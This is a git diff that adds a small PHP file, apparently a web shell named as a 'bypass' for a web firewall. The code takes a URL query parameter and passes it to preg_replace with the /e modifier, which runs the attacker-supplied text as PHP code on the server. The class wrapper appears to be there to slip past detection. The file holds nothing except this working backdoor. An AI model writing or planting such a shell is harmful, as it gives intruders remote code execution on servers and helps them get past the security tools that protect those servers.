diff --git a/php/bypass-dog-2020-01-30.php b/php/bypass-dog-2020-01-30.php
new file mode 100644
index 0000000..5842f48
--- /dev/null
+++ b/php/bypass-dog-2020-01-30.php
@@ -0,0 +1,12 @@
+<?php
+class SBdog{
+  public $x;
+  function dog(){
+    $this->x=$_GET['nb']; 
+  }
+}
+$class=new SBdog();
+$class->dog();
+$a=$class->x;
+preg_replace("/dog/e", $a, "I am a sb dog");
+?>